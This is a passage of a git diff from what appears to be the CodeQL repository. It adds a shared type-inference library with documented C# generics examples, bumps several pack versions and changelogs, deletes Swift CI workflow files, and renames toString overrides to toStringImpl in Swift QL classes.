+         * Holds if `baseMention` is a (transitive) base type mention of the
+         * type of `a` at position `apos` at path `pathToSub`, and `t` is
+         * mentioned (implicitly) at `path` inside `base`. For example, in
+         *
+         * ```csharp
+         * class C<T1> { }
+         *
+         * class Base<T2> { }
+         *
+         * class Mid<T3> : Base<C<T3>> { }
+         *
+         * class Sub<T4> : Mid<C<T4>> { }
+         *
+         *     new Sub<int>().ToString();
+         * //  ^^^^^^^^^^^^^^ node at `apos`
+         * //  ^^^^^^^^^^^^^^^^^^^^^^^^^ `a`
+         * ```
+         *
+         * where the method call is an access, `new Sub<int>()` is at the access
+         * position which is the receiver of a method call, and `pathToSub` is
+         * `""` we have:
+         *
+         * `baseMention` | `path`       | `t`
+         * ------------- | ------------ | ---
+         * `Mid<C<T4>>`  | `"T3"`       | ``C`1``
+         * `Mid<C<T4>>`  | `"T3.T1"`    | `int`
+         * `Base<C<T3>>` | `"T2"`       | ``C`1``
+         * `Base<C<T3>>` | `"T2.T1"`    | ``C`1``
+         * `Base<C<T3>>` | `"T2.T1.T1"` | `int`
+         */
+        pragma[nomagic]
+        predicate hasBaseTypeMention(
+          Access a, AccessPosition apos, TypePath pathToSub, TypeMention baseMention, TypePath path,
+          Type t
+        ) {
+          relevantAccess(a, apos, pathToSub, resolveTypeMentionRoot(baseMention)) and
+          exists(Type sub | sub = a.getInferredType(apos, pathToSub) |
+            baseTypeMentionHasNonTypeParameterAt(sub, baseMention, path, t)
+            or
+            exists(TypePath prefix, TypePath suffix, TypeParameter tp |
+              baseTypeMentionHasTypeParameterAt(sub, baseMention, prefix, tp) and
+              t = inferTypeAt(a, apos, pathToSub, tp, suffix) and
+              path = prefix.append(suffix)
+            )
+          )
+        }
+      }
+
+      /**
+       * Holds if the type of `a` at `apos` has the base type `base`, and when
+       * viewed as an element of that type has the type `t` at `path`.
+       */
+      pragma[nomagic]
+      private predicate accessBaseType(
+        Access a, AccessPosition apos, Type base, TypePath path, Type t
+      ) {
+        exists(TypeMention tm |
+          AccessBaseType::hasBaseTypeMention(a, apos, TypePath::nil(), tm, path, t) and
+          base = resolveTypeMentionRoot(tm)
+        )
+      }
+
+      /**
+       * Holds if the declared type at `decl` for `dpos` at the `path` is `tp`
+       * and `path` starts with a type parameter of `base`.
+       */
+      pragma[nomagic]
+      private predicate declarationBaseType(
+        Declaration decl, DeclarationPosition dpos, Type base, TypePath path, TypeParameter tp
+      ) {
+        tp = decl.getDeclaredType(dpos, path) and
+        path.isCons(base.getATypeParameter(), _)
+      }
+
+      /**
+       * Holds if the (transitive) base type `t` at `path` of `a` for some
+       * `AccessPosition` matches the type parameter `tp`, which is used in the
+       * declared types of `target`.
+       *
+       * For example, in
+       *
+       * ```csharp
+       * class C<T1> { }
+       *
+       * class Base<T2> {
+       * //         ^^ `tp`
+       *     public C<T2> Method() { ... }
+       * //               ^^^^^^ `target`
+       * }
+       *
+       * class Mid<T3> : Base<C<T3>> { }
+       *
+       * class Sub<T4> : Mid<C<T4>> { }
+       *
+       *    new Sub<int>().Method(); // Note: `Sub<int>` is a subtype of `Base<C<C<int>>>`
+       * // ^^^^^^^^^^^^^^^^^^^^^^^ `a`
+       * ```
+       *
+       * we have that type parameter `T2` of `Base` is matched as follows:
+       *
+       * `path`    | `t`
+       * --------- | -------
+       * `""`      | ``C`1``
+       * `"T1"`    | ``C`1``
+       * `"T1.T1"` | `int`
+       */
+      pragma[nomagic]
+      private predicate baseTypeMatch(
+        Access a, Declaration target, TypePath path, Type t, TypeParameter tp
+      ) {
+        not exists(getTypeArgument(a, target, tp, _)) and
+        target = a.getTarget() and
+        exists(AccessPosition apos, DeclarationPosition dpos, Type base, TypePath pathToTypeParam |
+          accessBaseType(a, apos, base, pathToTypeParam.append(path), t) and
+          declarationBaseType(target, dpos, base, pathToTypeParam, tp) and
+          accessDeclarationPositionMatch(apos, dpos)
+        )
+      }
+
+      /**
+       * Holds if for `a` and corresponding `target`, the type parameter `tp` is
+       * matched by a type argument at the access with type `t` and type path
+       * `path`.
+       */
+      pragma[nomagic]
+      private predicate explicitTypeMatch(
+        Access a, Declaration target, TypePath path, Type t, TypeParameter tp
+      ) {
+        target = a.getTarget() and
+        t = getTypeArgument(a, target, tp, path)
+      }
+
+      /**
+       * Holds if `tp1` and `tp2` are distinct type parameters of `target`, the
+       * declared type at `dpos` mentions `tp1` at `path1`, `tp1` has a base
+       * type mention of type `constraint` that mentions `tp2` at the path
+       * `path2`.
+       *
+       * For this example
+       * ```csharp
+       * interface IFoo<A> { }
+       * T1 M<T1, T2>(T2 item) where T2 : IFoo<T1> { }
+       * ```
+       * with the method declaration being the target and the for the first
+       * parameter position, we have the following
+       * - `path1 = ""`,
+       * - `tp1 = T2`,
+       * - `constraint = IFoo`,
+       * - `path2 = "A"`, and
+       * - `tp2 = T1`.
+       */
+      pragma[nomagic]
+      private predicate typeParameterConstraintHasTypeParameter(
+        Declaration target, DeclarationPosition dpos, TypePath path1, TypeParameter tp1,
+        Type constraint, TypePath path2, TypeParameter tp2
+      ) {
+        tp1 = target.getTypeParameter(_) and
+        tp2 = target.getTypeParameter(_) and
+        tp1 != tp2 and
+        tp1 = target.getDeclaredType(dpos, path1) and
+        exists(TypeMention tm |
+          tm = getABaseTypeMention(tp1) and
+          tm.resolveTypeAt(path2) = tp2 and
+          constraint = resolveTypeMentionRoot(tm)
+        )
+      }
+
+      pragma[nomagic]
+      private predicate typeConstraintBaseTypeMatch(
+        Access a, Declaration target, TypePath path, Type t, TypeParameter tp
+      ) {
+        not exists(getTypeArgument(a, target, tp, _)) and
+        target = a.getTarget() and
+        exists(
+          TypeMention base, AccessPosition apos, DeclarationPosition dpos, TypePath pathToTp,
+          TypePath pathToTp2
+        |
+          accessDeclarationPositionMatch(apos, dpos) and
+          typeParameterConstraintHasTypeParameter(target, dpos, pathToTp2, _,
+            resolveTypeMentionRoot(base), pathToTp, tp) and
+          AccessBaseType::hasBaseTypeMention(a, apos, pathToTp2, base, pathToTp.append(path), t)
+        )
+      }
+
+      pragma[inline]
+      private predicate typeMatch(
+        Access a, Declaration target, TypePath path, Type t, TypeParameter tp
+      ) {
+        // A type given at the access corresponds directly to the type parameter
+        // at the target.
+        explicitTypeMatch(a, target, path, t, tp)
+        or
+        // We can infer the type of `tp` from one of the access positions
+        directTypeMatch(a, target, path, t, tp)
+        or
+        // We can infer the type of `tp` by going up the type hiearchy
+        baseTypeMatch(a, target, path, t, tp)
+        or
+        // We can infer the type of `tp` by a type bound
+        typeConstraintBaseTypeMatch(a, target, path, t, tp)
+      }
+
+      /**
+       * Gets the inferred type of `a` at `path` for position `apos`.
+       *
+       * For example, in
+       *
+       * ```csharp
+       * class C<T1> { }
+       *
+       * class Base<T2> {
+       *     public C<T2> Method() { ... }
+       * }
+       *
+       * class Mid<T3> : Base<C<T3>> { }
+       *
+       * class Sub<T4> : Mid<C<T4>> { }
+       *
+       *    new Sub<int>().Method(); // Note: Sub<int> is a subtype of Base<C<C<int>>>
+       * // ^^^^^^^^^^^^^^^^^^^^^^^ `a`
+       * ```
+       *
+       * we infer the following types for the return position:
+       *
+       * `path`       | `t`
+       * ------------ | -------
+       * `""`         | ``C`1``
+       * `"T1"`       | ``C`1``
+       * `"T1.T1"`    | ``C`1``
+       * `"T1.T1.T1"` | `int`
+       *
+       * We also infer the following types for the receiver position:
+       *
+       * `path`       | `t`
+       * ------------ | -------
+       * `""`         | ``Base`1``
+       * `"T2"`       | ``C`1``
+       * `"T2.T1"`    | ``C`1``
+       * `"T2.T1.T1"` | `int`
+       */
+      pragma[nomagic]
+      Type inferAccessType(Access a, AccessPosition apos, TypePath path) {
+        exists(DeclarationPosition dpos | accessDeclarationPositionMatch(apos, dpos) |
+          // A suffix of `path` leads to a type parameter in the target
+          exists(Declaration target, TypePath prefix, TypeParameter tp, TypePath suffix |
+            tp = target.getDeclaredType(pragma[only_bind_into](dpos), prefix) and
+            path = prefix.append(suffix) and
+            typeMatch(a, target, suffix, result, tp)
+          )
+          or
+          // `path` corresponds directly to a concrete type in the declaration
+          exists(Declaration target |
+            result = target.getDeclaredType(pragma[only_bind_into](dpos), path) and
+            target = a.getTarget() and
+            not result instanceof TypeParameter
+          )
+        )
+      }
+    }
+
+    /** Provides consitency checks. */
+    module Consistency {
+      query predicate missingTypeParameterId(TypeParameter tp) {
+        not exists(getTypeParameterId(tp))
+      }
+
+      query predicate nonFunctionalTypeParameterId(TypeParameter tp) {
+        getTypeParameterId(tp) != getTypeParameterId(tp)
+      }
+
+      query predicate nonInjectiveTypeParameterId(TypeParameter tp1, TypeParameter tp2) {
+        getTypeParameterId(tp1) = getTypeParameterId(tp2) and
+        tp1 != tp2
+      }
+    }
+  }
+}
diff --git a/shared/typeinference/qlpack.yml b/shared/typeinference/qlpack.yml
new file mode 100644
index 000000000000..d71f36395158
--- /dev/null
+++ b/shared/typeinference/qlpack.yml
@@ -0,0 +1,7 @@
+name: codeql/typeinference
+version: 0.0.1
+groups: shared
+library: true
+dependencies:
+  codeql/util: ${workspace}
+warnOnImplicitThis: true
diff --git a/shared/typetracking/CHANGELOG.md b/shared/typetracking/CHANGELOG.md
index d527d9f47d9e..c31f7b82d8bd 100644
--- a/shared/typetracking/CHANGELOG.md
+++ b/shared/typetracking/CHANGELOG.md
@@ -1,3 +1,7 @@
+## 2.0.4
+
+No user-facing changes.
+
 ## 2.0.3
 
 No user-facing changes.
diff --git a/shared/typetracking/change-notes/released/2.0.4.md b/shared/typetracking/change-notes/released/2.0.4.md
new file mode 100644
index 000000000000..8e002b6db642
--- /dev/null
+++ b/shared/typetracking/change-notes/released/2.0.4.md
@@ -0,0 +1,3 @@
+## 2.0.4
+
+No user-facing changes.
diff --git a/shared/typetracking/codeql-pack.release.yml b/shared/typetracking/codeql-pack.release.yml
index fabf1e865966..0f306f8bd3bd 100644
--- a/shared/typetracking/codeql-pack.release.yml
+++ b/shared/typetracking/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 2.0.3
+lastReleaseVersion: 2.0.4
diff --git a/shared/typetracking/qlpack.yml b/shared/typetracking/qlpack.yml
index 54d5494a619a..dcee785031a7 100644
--- a/shared/typetracking/qlpack.yml
+++ b/shared/typetracking/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/typetracking
-version: 2.0.3
+version: 2.0.4
 groups: shared
 library: true
 dependencies:
diff --git a/shared/typos/CHANGELOG.md b/shared/typos/CHANGELOG.md
index 53806f92bcdd..4365eb52a388 100644
--- a/shared/typos/CHANGELOG.md
+++ b/shared/typos/CHANGELOG.md
@@ -1,3 +1,7 @@
+## 1.0.20
+
+No user-facing changes.
+
 ## 1.0.19
 
 No user-facing changes.
diff --git a/shared/typos/change-notes/released/1.0.20.md b/shared/typos/change-notes/released/1.0.20.md
new file mode 100644
index 000000000000..5fc76269ab27
--- /dev/null
+++ b/shared/typos/change-notes/released/1.0.20.md
@@ -0,0 +1,3 @@
+## 1.0.20
+
+No user-facing changes.
diff --git a/shared/typos/codeql-pack.release.yml b/shared/typos/codeql-pack.release.yml
index e15e0d267b0a..7af2d1347ffc 100644
--- a/shared/typos/codeql-pack.release.yml
+++ b/shared/typos/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 1.0.19
+lastReleaseVersion: 1.0.20
diff --git a/shared/typos/qlpack.yml b/shared/typos/qlpack.yml
index 8ab5b118b3d1..66603d0cfd48 100644
--- a/shared/typos/qlpack.yml
+++ b/shared/typos/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/typos
-version: 1.0.19
+version: 1.0.20
 groups: shared
 library: true
 warnOnImplicitThis: true
diff --git a/shared/util/CHANGELOG.md b/shared/util/CHANGELOG.md
index 263d05e55f4d..fa3c9ff7fb42 100644
--- a/shared/util/CHANGELOG.md
+++ b/shared/util/CHANGELOG.md
@@ -1,3 +1,7 @@
+## 2.0.7
+
+No user-facing changes.
+
 ## 2.0.6
 
 No user-facing changes.
diff --git a/shared/util/change-notes/released/2.0.7.md b/shared/util/change-notes/released/2.0.7.md
new file mode 100644
index 000000000000..4eb1353458c2
--- /dev/null
+++ b/shared/util/change-notes/released/2.0.7.md
@@ -0,0 +1,3 @@
+## 2.0.7
+
+No user-facing changes.
diff --git a/shared/util/codeql-pack.release.yml b/shared/util/codeql-pack.release.yml
index fbbc03c76427..08d5e9594498 100644
--- a/shared/util/codeql-pack.release.yml
+++ b/shared/util/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 2.0.6
+lastReleaseVersion: 2.0.7
diff --git a/shared/util/qlpack.yml b/shared/util/qlpack.yml
index 95911cec5c8c..ca15e29077c5 100644
--- a/shared/util/qlpack.yml
+++ b/shared/util/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/util
-version: 2.0.6
+version: 2.0.7
 groups: shared
 library: true
 dependencies: null
diff --git a/shared/xml/CHANGELOG.md b/shared/xml/CHANGELOG.md
index 281186a77b7c..5551a042e155 100644
--- a/shared/xml/CHANGELOG.md
+++ b/shared/xml/CHANGELOG.md
@@ -1,3 +1,7 @@
+## 1.0.20
+
+No user-facing changes.
+
 ## 1.0.19
 
 No user-facing changes.
diff --git a/shared/xml/change-notes/released/1.0.20.md b/shared/xml/change-notes/released/1.0.20.md
new file mode 100644
index 000000000000..5fc76269ab27
--- /dev/null
+++ b/shared/xml/change-notes/released/1.0.20.md
@@ -0,0 +1,3 @@
+## 1.0.20
+
+No user-facing changes.
diff --git a/shared/xml/codeql-pack.release.yml b/shared/xml/codeql-pack.release.yml
index e15e0d267b0a..7af2d1347ffc 100644
--- a/shared/xml/codeql-pack.release.yml
+++ b/shared/xml/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 1.0.19
+lastReleaseVersion: 1.0.20
diff --git a/shared/xml/qlpack.yml b/shared/xml/qlpack.yml
index d46442aa00d4..0f0a5c9e5858 100644
--- a/shared/xml/qlpack.yml
+++ b/shared/xml/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/xml
-version: 1.0.19
+version: 1.0.20
 groups: shared
 library: true
 dependencies:
diff --git a/shared/yaml/CHANGELOG.md b/shared/yaml/CHANGELOG.md
index bc24aa51f120..2aff70a053b4 100644
--- a/shared/yaml/CHANGELOG.md
+++ b/shared/yaml/CHANGELOG.md
@@ -1,3 +1,7 @@
+## 1.0.20
+
+No user-facing changes.
+
 ## 1.0.19
 
 No user-facing changes.
diff --git a/shared/yaml/change-notes/released/1.0.20.md b/shared/yaml/change-notes/released/1.0.20.md
new file mode 100644
index 000000000000..5fc76269ab27
--- /dev/null
+++ b/shared/yaml/change-notes/released/1.0.20.md
@@ -0,0 +1,3 @@
+## 1.0.20
+
+No user-facing changes.
diff --git a/shared/yaml/codeql-pack.release.yml b/shared/yaml/codeql-pack.release.yml
index e15e0d267b0a..7af2d1347ffc 100644
--- a/shared/yaml/codeql-pack.release.yml
+++ b/shared/yaml/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 1.0.19
+lastReleaseVersion: 1.0.20
diff --git a/shared/yaml/qlpack.yml b/shared/yaml/qlpack.yml
index d8dedc323266..5239b96b7223 100644
--- a/shared/yaml/qlpack.yml
+++ b/shared/yaml/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/yaml
-version: 1.0.19
+version: 1.0.20
 groups: shared
 library: true
 warnOnImplicitThis: true
diff --git a/swift/.python-version b/swift/.python-version
deleted file mode 100644
index 2c0733315e41..000000000000
--- a/swift/.python-version
+++ /dev/null
@@ -1 +0,0 @@
-3.11
diff --git a/swift/actions/build-and-test/action.yml b/swift/actions/build-and-test/action.yml
deleted file mode 100644
index b1683680fcea..000000000000
--- a/swift/actions/build-and-test/action.yml
+++ /dev/null
@@ -1,68 +0,0 @@
-name: Build Swift CodeQL pack
-description: Builds the Swift CodeQL pack
-runs:
-  using: composite
-  steps:
-    - uses: bazelbuild/setup-bazelisk@v2
-    - uses: actions/setup-python@v4
-      with:
-        python-version-file: 'swift/.python-version'
-    # FIXME: this is copy-pasted from .github/actions/cache-query-compilation, but we cannot factor it out to a common
-    # composite action because of https://github.com/actions/runner/issues/2009 (cache fails to save in the post action
-    # phase because its inputs were lost in the meantime)
-    # calculate the merge-base with main, in a way that works both on PRs and pushes to main.
-    - name: Calculate merge-base
-      shell: bash
-      if: ${{ github.event_name == 'pull_request' }}
-      env:
-        BASE_BRANCH: ${{ github.base_ref }}
-      run: |
-        MERGE_BASE=$(git cat-file commit $GITHUB_SHA | grep '^parent ' | head -1 | cut -f 2 -d " ")
-        echo "merge_base=$MERGE_BASE" >> $GITHUB_ENV
-    - name: Restore read-only cache (PR)
-      if: ${{ github.event_name == 'pull_request' }}
-      uses: actions/cache/restore@v3
-      with:
-        path: 'bazel-cache'
-        key: bazel-pr-${{ github.sha }}
-        restore-keys: |
-          bazel-${{ github.base_ref }}-${{ env.merge_base }}
-          bazel-${{ github.base_ref }}-
-          bazel-main-
-    - name: Fill cache (push)
-      if: ${{ github.event_name != 'pull_request' }}
-      uses: actions/cache@v3
-      with:
-        path: 'bazel-cache'
-        key: bazel-${{ github.ref_name }}-${{ github.sha }} # just fill on main
-        restore-keys: | # restore the latest cache if the exact cache is unavailable, to speed up compilation.
-          bazel-${{ github.ref_name }}-
-          bazel-main-
-    - name: Configure bazel
-      shell: bash
-      run: |
-        mkdir -p bazel-cache/{repository,disk}
-        echo build --repository_cache=bazel-cache/repository --disk_cache=bazel-cache/disk > local.bazelrc
-        echo test --test_output=errors >> local.bazelrc
-    - uses: ./swift/actions/share-extractor-pack
-    - name: Build Swift extractor
-      shell: bash
-      run: |
-        bazel run //swift:install
-    - name: Run codegen tests
-      if : ${{ github.event_name == 'pull_request' }}
-      shell: bash
-      run: |
-        bazel test //misc/codegen/...
-    - name: Run Swift tests
-      if: ${{ github.event_name == 'pull_request' }}
-      shell: bash
-      run: |
-        bazel test //swift/... --test_tag_filters=-override --test_output=errors
-    - name: Evict bazel cache
-      if: ${{ github.event_name != 'pull_request' }}
-      shell: bash
-      run: |
-        du -sh bazel-cache/*
-        find bazel-cache -atime +0 -type f -delete
-        du -sh bazel-cache/*
diff --git a/swift/actions/database-upgrade-scripts/action.yml b/swift/actions/database-upgrade-scripts/action.yml
deleted file mode 100644
index 26f95d44b8a0..000000000000
--- a/swift/actions/database-upgrade-scripts/action.yml
+++ /dev/null
@@ -1,23 +0,0 @@
-name: Check Swift database upgrade/downgrade scripts
-runs:
-  using: composite
-  steps:
-    - name: Check upgrade scripts
-      shell: bash
-      working-directory: swift
-      run: |
-        echo > empty.trap
-        codeql dataset import -S ql/lib/upgrades/initial/swift.dbscheme testdb empty.trap
-        codeql dataset upgrade testdb --additional-packs ql/lib
-        diff -q testdb/swift.dbscheme ql/lib/swift.dbscheme
-    - name: Check downgrade scripts
-      shell: bash
-      working-directory: swift
-      run: |
-        echo > empty.trap
-        rm -rf testdb
-        codeql dataset import -S ql/lib/swift.dbscheme testdb empty.trap
-        codeql resolve upgrades --format=lines --allow-downgrades --additional-packs downgrades \
-         --dbscheme=ql/lib/swift.dbscheme --target-dbscheme=downgrades/initial/swift.dbscheme |
-         xargs -r codeql execute upgrades testdb
-        diff -q testdb/swift.dbscheme downgrades/initial/swift.dbscheme
diff --git a/swift/actions/run-ql-tests/action.yml b/swift/actions/run-ql-tests/action.yml
deleted file mode 100644
index 23d1b8f5da6d..000000000000
--- a/swift/actions/run-ql-tests/action.yml
+++ /dev/null
@@ -1,35 +0,0 @@
-name: Build Swift CodeQL pack
-description: Builds the Swift CodeQL pack
-inputs:
-  flags:
-    description: "Additional `codeql test run` flags"
-    required: false
-    default: ""
-runs:
-  using: composite
-  steps:
-    - uses: ./swift/actions/share-extractor-pack
-    - uses: ./.github/actions/fetch-codeql
-    - id: query-cache
-      uses: ./.github/actions/cache-query-compilation
-      with:
-        key: swift-qltest
-    - name: Run QL tests
-      shell: bash
-      run: |
-        codeql test run \
-          --threads=0 \
-          --ram 50000 \
-          --search-path "$GITHUB_WORKSPACE" \
-          --check-databases \
-          --check-unused-labels \
-          --check-repeated-labels \
-          --check-redefined-labels \
-          --check-use-before-definition \
-          --consistency-queries "${{ github.workspace }}/swift/ql/consistency-queries" \
-          --compilation-cache "${{ steps.query-cache.outputs.cache-dir }}" \
-          ${{ inputs.flags }} \
-          swift/ql/test
-      env:
-        GITHUB_TOKEN: ${{ github.token }}
-        GITHUB_WORKSPACE: ${{ github.workspace }}
diff --git a/swift/actions/share-extractor-pack/action.yml b/swift/actions/share-extractor-pack/action.yml
deleted file mode 100644
index e9b7f9d5dacf..000000000000
--- a/swift/actions/share-extractor-pack/action.yml
+++ /dev/null
@@ -1,11 +0,0 @@
-name: Build Swift CodeQL pack
-description: Builds the Swift CodeQL pack
-runs:
-  using: composite
-  steps:
-    # not using artifacts because of annoying https://github.com/actions/upload-artifact/issues/38
-    - name: Mount cache for sharing extractor pack
-      uses: actions/cache@v3
-      with:
-        path: swift/extractor-pack
-        key: extractor-pack-${{ github.run_id }}-${{ github.run_number }}-${{ runner.os }}
diff --git a/swift/ql/.generated.list b/swift/ql/.generated.list
index 693c18c83e71..900d0381032e 100644
--- a/swift/ql/.generated.list
+++ b/swift/ql/.generated.list
@@ -701,7 +701,7 @@ lib/codeql/swift/generated/Comment.qll 64625f47ebddb1ec7e1c81790dd8120087a76958c
 lib/codeql/swift/generated/DbFile.qll cc0d2b9efbee36080bde2e26e424a40efb763eaee55874fb6c4a5db36938f3df 33e215d838cfa36e3dd0e62879e896d988430d1470a87ce1bb45aad70886212b
 lib/codeql/swift/generated/DbLocation.qll e2c7cc975b53cfb0061e055da082fbe57c0aef388e5ee874f0ff22c388a81ce1 1939414bc5d574796e83ab916408c3183210ead04957b50493610529700e0427
 lib/codeql/swift/generated/Diagnostics.qll 03ea201db80d33b18f7f6c71267044c695c2572e5783ab754fa7c7ac27e16ee3 8aa78be37a8f23e4b899b910508fd5966ebc98fade6c284d59d59e246de18288
-lib/codeql/swift/generated/Element.qll 129b5fedbb36bf9157fe8fa9388e7afeb11f73c3b850b100a08b564f993b067d eebbbac92d5ea5116cd575eb9b8e26d3ff7e5e35de648f37cab586a3191b413f
+lib/codeql/swift/generated/Element.qll ee383d0b3be3ae1f58142980011476ce6f317550f96548403f9ecd352ee72cd9 ef4a8e175d327b44b147814ad9630ca54c53f21fc2bab7d8a88d1e220060c0a7
 lib/codeql/swift/generated/ErrorElement.qll b39bd7c8b4e2011f4a6889e073ebf5b628db32f36f50b067250ae730d9f26561 fd859ec969ba434049e7ba4e78271cc8cebc8b058d2e96e4d47a22064cbb5a21
 lib/codeql/swift/generated/File.qll 476ac95566ef0080e0ad8c3da144b1be1d945d2f33a24f0864d85ff7c56a09b1 3134018bb50166cbf2690f64bba551cace350e4a7e6e25bcded18f997ad1835b
 lib/codeql/swift/generated/KeyPathComponent.qll 5276acdc9a4ff0ec0cc8af615c04043391fb99613731ddcc86db4e47b37c8c5a ccc0931bbd6cc2cfae5037c2ee17bbdcbd87536f5fed90d07e73065c016c4382
@@ -709,7 +709,7 @@ lib/codeql/swift/generated/Locatable.qll 1d37fa20de71c0b9986bfd7a7c0cb82ab7bf3fd
 lib/codeql/swift/generated/Location.qll 5e20316c3e480ddfe632b7e88e016c19f10a67df1f6ae9c8f128755a6907d6f5 5a0af2d070bcb2ed53d6d0282bf9c60dc64c2dce89c21fdd485e9c7893c1c8fa
 lib/codeql/swift/generated/MacroRole.qll 0d8fa6b0b6e2045d9097a87d53888cae2ea5371b2fa7d140341cf206f575b556 ea3b8a7c0a88851809f9a5a5aa80b0d2da3c4779bb29044cdba2b60246a2722c
 lib/codeql/swift/generated/OtherAvailabilitySpec.qll d9feaa2a71acff3184ca389045b0a49d09156210df0e034923d715b432ad594b 046737621a8bcf69bf805afb0cff476bd15259f12f0d77fce3206dd01b31518f
-lib/codeql/swift/generated/ParentChild.qll b65c29ba8c3e13baac44a32d2521a11f07aeb7d33415aa9a91a7f6255a744415 0fe73d06c96194d5a0da19c9348a46d9f8fbf630fee5de3dc96e997c595c362e
+lib/codeql/swift/generated/ParentChild.qll bafa2e366c0df25d6c26c4e2e2b84f3e363524d7abcf0f6e31e42879f2bc664a 616160f5664f77346992c2ac39e3229abdf186fe707066d4895ceddd148749a9
 lib/codeql/swift/generated/PlatformVersionAvailabilitySpec.qll dc17b49a90a18a8f7607adf2433bc8f0c194fa3e803aa3822f809d4d4fbd6793 be48ea9f8ae17354c8508aaed24337a9e57ce01f288fece3dcecd99776cabcec
 lib/codeql/swift/generated/PureSynthConstructors.qll bc31a6c4d142fa3fbdcae69d5ba6f1cec00eb9ad92b46c8d7b91ebfa7ef6c1f4 bc31a6c4d142fa3fbdcae69d5ba6f1cec00eb9ad92b46c8d7b91ebfa7ef6c1f4
 lib/codeql/swift/generated/Raw.qll 4f2ddadd2ced9728aaf4595ccf85cd147468d7ad0a57a21a6cbfd04e3834b386 9653595693da55953d7743fbecce33d16910e3b6737c654311f1e34d27ad7f0b
diff --git a/swift/ql/lib/CHANGELOG.md b/swift/ql/lib/CHANGELOG.md
index 2b896b57956b..d11c1a7a7766 100644
--- a/swift/ql/lib/CHANGELOG.md
+++ b/swift/ql/lib/CHANGELOG.md
@@ -1,3 +1,7 @@
+## 4.1.3
+
+No user-facing changes.
+
 ## 4.1.2
 
 No user-facing changes.
diff --git a/swift/ql/lib/change-notes/released/4.1.3.md b/swift/ql/lib/change-notes/released/4.1.3.md
new file mode 100644
index 000000000000..789b2913c77b
--- /dev/null
+++ b/swift/ql/lib/change-notes/released/4.1.3.md
@@ -0,0 +1,3 @@
+## 4.1.3
+
+No user-facing changes.
diff --git a/swift/ql/lib/codeql-pack.release.yml b/swift/ql/lib/codeql-pack.release.yml
index 2567ae3f9cce..cdfb18533241 100644
--- a/swift/ql/lib/codeql-pack.release.yml
+++ b/swift/ql/lib/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 4.1.2
+lastReleaseVersion: 4.1.3
diff --git a/swift/ql/lib/codeql/swift/elements/decl/internal/AccessorImpl.qll b/swift/ql/lib/codeql/swift/elements/decl/internal/AccessorImpl.qll
index 9a16c993b1eb..bdbd96f2cf74 100644
--- a/swift/ql/lib/codeql/swift/elements/decl/internal/AccessorImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/decl/internal/AccessorImpl.qll
@@ -25,11 +25,11 @@ module Impl {
       this instanceof WillSetObserver or this instanceof DidSetObserver
     }
 
-    override string toString() {
+    override string toStringImpl() {
       isKnownAccessorKind(this, result)
       or
       not isKnownAccessorKind(this, _) and
-      result = super.toString()
+      result = super.toStringImpl()
     }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/decl/internal/CapturedDeclImpl.qll b/swift/ql/lib/codeql/swift/elements/decl/internal/CapturedDeclImpl.qll
index 0d07f7c6eee2..188e0102929d 100644
--- a/swift/ql/lib/codeql/swift/elements/decl/internal/CapturedDeclImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/decl/internal/CapturedDeclImpl.qll
@@ -7,7 +7,7 @@ module Impl {
    * A captured variable or function parameter in the scope of a closure.
    */
   class CapturedDecl extends Generated::CapturedDecl {
-    override string toString() { result = this.getDecl().toString() }
+    override string toStringImpl() { result = this.getDecl().toStringImpl() }
 
     /**
      * Gets the closure or function that captures this variable.
diff --git a/swift/ql/lib/codeql/swift/elements/decl/internal/DeclImpl.qll b/swift/ql/lib/codeql/swift/elements/decl/internal/DeclImpl.qll
index eb05a3b25b5e..3acbbc668513 100644
--- a/swift/ql/lib/codeql/swift/elements/decl/internal/DeclImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/decl/internal/DeclImpl.qll
@@ -4,7 +4,8 @@ private import codeql.swift.elements.decl.ExtensionDecl
 
 module Impl {
   class Decl extends Generated::Decl {
-    override string toString() { result = super.toString() }
+    // needed to avoid spurious non-monotonicity error
+    override string toStringImpl() { result = super.toStringImpl() }
 
     /**
      * Gets the `NominalTypeDecl` corresponding to this `Decl`, if any. This
diff --git a/swift/ql/lib/codeql/swift/elements/decl/internal/DeinitializerImpl.qll b/swift/ql/lib/codeql/swift/elements/decl/internal/DeinitializerImpl.qll
index c46bb3867d27..ea074878bfe9 100644
--- a/swift/ql/lib/codeql/swift/elements/decl/internal/DeinitializerImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/decl/internal/DeinitializerImpl.qll
@@ -6,6 +6,8 @@ module Impl {
    * A deinitializer of a class.
    */
   class Deinitializer extends Generated::Deinitializer {
-    override string toString() { result = this.getSelfParam().getType() + "." + super.toString() }
+    override string toStringImpl() {
+      result = this.getSelfParam().getType().toStringImpl() + "." + super.toStringImpl()
+    }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/decl/internal/EnumCaseDeclImpl.qll b/swift/ql/lib/codeql/swift/elements/decl/internal/EnumCaseDeclImpl.qll
index 8e2ea03a70d6..08efa75ce6d7 100644
--- a/swift/ql/lib/codeql/swift/elements/decl/internal/EnumCaseDeclImpl.qll
+++ b/swift/ql/lib/codeql/swift/elements/decl/internal/EnumCaseDeclImpl.qll
@@ -2,6 +2,6 @@ private import codeql.swift.generated.decl.EnumCaseDecl
 
 module Impl {
   class EnumCaseDecl extends Generated::EnumCaseDecl {
-    override string toString() { result = "case ..." }
+    override string toStringImpl() { result = "case ..." }
   }
 }
diff --git a/swift/ql/lib/codeql/swift/elements/decl/internal/EnumElementDeclImpl.qll b/swift/ql/lib/codeql/swift/elements/decl/internal/EnumElementDeclImpl.qll
index d2234b9a0f98..ffd3898cb143 100644
--- a/swift/ql/lib/codeql/swift/elements/decl/internal/EnumElementDeclImpl.qll
